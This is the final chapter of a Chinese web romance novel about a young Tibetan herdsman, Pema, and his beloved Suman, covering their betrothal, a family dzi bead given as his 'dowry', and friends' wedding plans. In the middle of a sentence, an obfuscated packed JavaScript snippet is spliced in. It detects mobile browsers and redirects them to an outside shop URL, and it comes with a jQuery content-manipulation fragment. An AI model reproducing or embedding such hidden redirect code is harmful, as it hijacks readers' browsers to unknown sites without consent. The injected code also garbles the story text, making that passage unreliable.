白玛摸着苏曼脖子上的那颗绿松石,他想起了他的嫁妆。 将来,他要将那颗神圣的天珠挂在姐姐的脖子上,和他一起守护着姐姐。 苏曼躺在他的胸口,长发散落满怀,她忽然想到,她的男人,竟然是个高原上的弟弟,这是怎样的奇遇。 “白玛,你昨晚没回家,你阿妈不会说什么吧?” 苏曼的脑子回到了现实,虽然她依然躺在这个男孩的怀里。 “怎么会,我都这么大了,我跟我阿妈说了,我们明年结婚。” 白玛还是有些害羞,但嫁给姐姐,是他坚定要做的事。 “不是吧?你都已经跟你阿妈说了?我都还没答应呢。” “你怎么不答应,我不管,反正你就是我的,我就是你的。我们两个永远都不分开。” 他接受不了与姐姐分开,他爱姐姐,就像爱草原上的太阳一样。 白玛搂紧苏曼,生怕她再说出什么反悔的话来。 “那你不担心我妈妈吗?” 苏曼幽幽的说着,这个大家都想尽力遗忘的人,可她毕竟是她的血缘母亲,她不知道自己是不是在将来,真的会忍心完全不管她。 “不担心啊。如果她老了,没人管,你要管的话,我也会和你一起的。我们两个一起,不管什么事情,都一起。反正,我会一直守着你的。但是,如果她要是欺负你的话,我就会保护你。” 白玛坚定的表着态,似乎他不像是为了要嫁给姐姐,而是为了能一辈子守护着姐姐,保护着她。 他真的把自己当成苏曼的保护神了。 “谢谢你,宝子。” “你叫我什么啊?姐姐,你叫我宝子啊?” 白玛那乌黑的眼睛,瞬间就闪亮了,他忽然害羞的撒着娇。 这大概是他第一次被人这么叫。 “嗯。你就像我的宝贝一样。以后,我就叫你宝子。白玛宝子。” 她也想好好的疼他。 他总是把自己当成一个大人,总是护着苏曼,护着家人。 他从来没把自己当成一个也需要别人疼爱的弟弟,儿子,和十九岁的男孩。 从今往后,他就是心爱姐姐的宝子了。 75. 第75章 草原进入了冬季,而苏曼和白玛的春天已经到来。 苏曼坐在白玛的院子里,吃着锅盔,吃着牛肉包子,还有白玛妈妈给她煮的甜奶茶。 原来,这就是一家人的感觉啊。 真好。 真幸福。 一家人在一起,每个人的心,都在一起。 原来,这么温暖。 扎西在电话里调侃着白玛:“白玛,以后你就做不了阿克咯!” 这是草原上的规矩,大家都以能做阿克为荣,每个人的家里,都想送一个孩子去做阿克。 但是若是已经有了肌肤之亲的男子,就不能再去做了。若是从小出家,长大后生了情丝,想要穿裤子(还俗),这样到是可以。 反过来,就不行。 扎西这样的调侃,其实同时也是一种祝福,他祝福白玛,终于是一个真正的男人了。 白玛每天精神抖擞,越发像个稳重的成年男人。他觉得现在的他,才是真正的男子汉。 他有了自己心爱的女人,有了自己想守护的大家,和未来的小家。 这是他最最珍视的东西。 他好像,都是在为自己身边的人而活,为自己最爱的家人而活,为自己心爱的女人而活。 做这些事,是他感到最幸福的,也是最满足的。 这就是他人生的意义。 他还想生孩子,延续自己的生命。想跟姐姐有自己的孩子,想将自己的爱,转移到新的生命上。 他只是一个普通的高原人,遇到了自己奇妙的缘分,并且用太阳般的心,稳稳的温暖了它。 这就是他的宿命。他和她的宿命。 - “姐姐,德西去拉萨了。” “是嘛?我说最近在村子上怎么好像没见过她呢。” 苏曼白天有时候会陪着白玛在村上呆着,到了晚上,他们再一起回云上咖啡住。 “嗯。她男朋友要坐家嘛,她又不想跟到坐家,所以他们两个分手了。” 好在白玛不用坐家,或许这也是阿妈放给他的自由。他从小到大,为这个家付出的辛苦,阿妈都是看在眼里的。 也许,在他对阿妈说出,他要去永京的那一刻,白玛妈妈就做了让梅朵坐家的决定了。 “那她还是蛮有追求的嘛,她肯定是想去外面看看的。” “对的呢。” 德西在追求不到白玛的时候,追求不到自己的爱情的时候,她打开了她的另一扇窗,她勇敢的走了出去,去寻找更新的世界。 虽然她跌跌撞撞,但是她也从来没有放弃过对自己的追求。 “你想不想也去外面看看?” “我都行,你在哪,我在哪。” 白玛靠着苏曼,坐在院子里,阳光正好,晒的人暖洋洋的。 苏曼正在给他编辫子,他的头发有些长了,她将两侧的长发编成了小细辫。 然后又意犹未尽的给他的后尾发的侧边也编了两条。 “真帅。” 苏曼用手拖着白玛的下巴,夸赞着这张折叠度极高的脸。 白玛睁着乌溜溜的眼睛看着苏曼,他还真是个帅而不自知的家伙。 或者说,他根本就不在乎自己的脸是帅还是不帅,他的心思根本不在这些上面。 “姐姐,你是被我这张脸迷倒的嘛?” “哎哟哟,我说臭宝子,你可别臭美了昂,那样姐姐可就不喜欢了哦。” “哎呀,你说一下嘛。” 白玛嘟起了嘴,开始撒起了娇来。 自从两个人在一起后,白玛果真被苏曼宠成了宝贝小孩,他时常会对着苏曼撒娇,也时常会像个孩子一样跟苏曼分享自己的难处。 以前的他,是从来不说这些的。 他们两个真正的,成为了互相支撑的一体。 苏曼:“你是帅的嘛,在我们汉地那可是超级帅呢。就是要捯饬一下,你现在太随意了,根本没把自己往帅哥方面弄。” 白玛:“什么叫捯饬嘛。” 苏曼:“就是打扮嘛。” 白玛:“那你打扮我嘛,姐姐。” 苏曼:“不行,打扮完了,大家都发现你的帅了,你们这的姑娘太猛了,到时候我可赶不赢了。” 白玛:“那好吧,那我还是丑一点吧。以后我还穿这些破衣服。” 苏曼:“哈哈哈。” 苏曼被可爱的白玛逗笑了。白玛将头枕在她的腿上,她不停的摸着白玛的脸,又时不时摸摸他高挺的鼻子。 她真的好喜欢他。 好喜欢这张脸。 她家白玛呀!才不在乎自己帅不帅,有没有很多姑娘喜欢他呢! “姐姐,现在好多人要借我们的马配种呢。” “好啊,这不比自己配种养一年赚钱来的快嘛。” “就是嘛。” 她家白玛呀!脑子里全都是马的事,真是傻乎乎的可爱呢! “姐姐,你等一下。” 说着白玛跳了起来,跑进了屋子里。 他拿出白玛妈妈给他的那颗天珠,放在苏曼的手里。 “姐姐,你先拿着。” 说着白玛又把苏曼脖子里的绿松石拿出来解开。 “我帮你串在一起戴上。” “天珠?” 苏曼仔细看着手中的这颗天珠,她知道,他们这里很多人脖子上都会戴一个。 “嗯。真正的老天珠。我奶奶留给我阿妈的,我现在把它给你。” “哇!这很贵吧?” 苏曼还是忘不了她的“价值”论。 “嗯。有钱也买不到的。很多大老板想花钱买,我们都不卖的。” 苏曼知道老天珠的价值,有些明星脖子上会戴一个。真正的老天珠,有时候是天价。 她不知道白玛给她的这一颗在外面值多少钱,但是,她真是受宠若惊。 “那你还是别给我戴了,宝子,你还是自己戴吧,我戴你这个绿松石就可以了。” “不行,这是我的嫁妆。阿妈说的。” “啊?” 用千年天珠做嫁妆。用千年天珠求嫁。 天哪!她何德何能,老天爷给了她这样一个宝藏男孩,还有这样一个善良有爱的家庭。 或许,你失去的,总有一天,老天爷会替你找回来。 “姐姐,以后我和这个天珠,会一起保护你的。你就安心娶了我吧。嘿嘿。” 白玛穿上天珠,又给她戴上,牢牢的系紧了那根绳子。最后左张右望,还不忘给了苏曼一个吻。 苏曼笑的如雪花般美丽。 她感觉自己的身上,忽然充满了巨大的能量。 这颗千年天珠,还有她的白玛,就是她巨大能量的来源。 “爱你,宝子。” “我也爱你,姐姐。” 白玛一直叫她姐姐,他喜欢这个称呼,因为从头到尾,他都是这么叫她的。 姐姐,成了他心中的圣女,永远都是他心爱的姐姐。 而他,成了姐姐的宝贝。 他是姐姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192029|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唯一的宝。 - 次仁和曲珍开始成双成对的出入。在县上,没有人不知道曲珍终于把次仁追到手了。 可次仁却说:是他追的曲珍。 “我追的她嘛,是我骑摩托车把她带回家的嘛。” 次仁说的是实话,也是最要面子的实话。 草原汉子,连得到自己的女人,都要如此霸气。 次仁穿上了曲珍送给他的那双金灿灿的A追,他们一起打理马场,一起照料怀孕的母马,定期给母马看B超。 如今白玛也省事了许多,他带着苏曼来到马场,看见次仁在训马。 “哎!兄弟,你小心点哦,不要搞太凶哦!” “没事,他最近都是这样,他心里有数的。” 曲珍在一旁陪着苏曼,看着次仁在马背上低头甩着长发,他的身子被马掀的一跳一跳的。 他永远都是曲珍心中的那个英雄。 “曼曼姐,我们打算明年春天结婚了。” 曲珍挽着苏曼的胳膊,害羞的对苏曼说。 “那好啊!你看你,终于和次仁在一起了。” “为什么不等到夏天啊?春天还是有些冷吧?” 白玛现在只要一听到结婚的消息,就会特别的感兴趣。 “她等不及了嘛。”远处的次仁朝这边喊道, “你不是也......”苏曼惊讶的望着曲珍, “不是啦,没有没有......” 曲珍一听到这个十分的害羞,她没有像次旦一样是因为怀孕才要结婚,她纯粹就是等不及了。 她想早些嫁给次仁。何况,他们两个年纪也不小了。 “姐姐,我们也明年春天结婚吧?我也等不及了。” 苏曼慎了白玛一眼:“你凑什么热闹。” “哎呀,我们早点生娃娃嘛,等他长大了,我也还年轻,我就可以教他骑马嘛。阿妈说了,趁现在她身体还好,可以帮我们带娃娃的。” 原来草原上的父母也会催生啊,也会帮着带孩子啊。 白玛真是三句两句离不开骑马。 教自己的孩子骑马,是他最期待的事情。 曲珍在一旁捂着嘴笑着,她是真没想到,白玛比她们女人还要恨嫁。 不一会儿扎西牵着两匹马走了进来,抬着手跟场上的次仁打招呼。 “兄弟!” 次仁也抬了抬手,转身下了马,朝这边走来。 白玛很是意外:“扎西,你怎么来了?” “哦!我跟次仁说好了,拿两匹马过来配种嘛。” “你这家伙,给不给钱的嘛?” “哎哟,兄弟,我们之间还谈什么钱不钱的嘛。” 白玛就知道,扎西是过来白嫖的。 他们这边对于特别相熟的朋友,借马配种,确实也是经常不会收费的。 次仁把马牵回了马房,洗了手洗了脸,曲珍很快就给他递上了两张纸巾。 “哎哟,曲珍,你现在贤惠的咧,比我们白玛还要贤惠咧。” 扎西拿白玛来打趣,白玛整天围着姐姐转,就像曲珍整天围着次仁转一样。 “你个扎西,你还想不想配种了?”白玛照着扎西的屁股上就是一脚, “嫂子,你看,你家老公欺负我呢!” “欺负的好!” 苏曼咧着嘴笑盈盈的看着白玛,他做什么她都支持。 和他阿妈一样。 “姐姐,阿秋拉尕!我爱你!” 【全文完】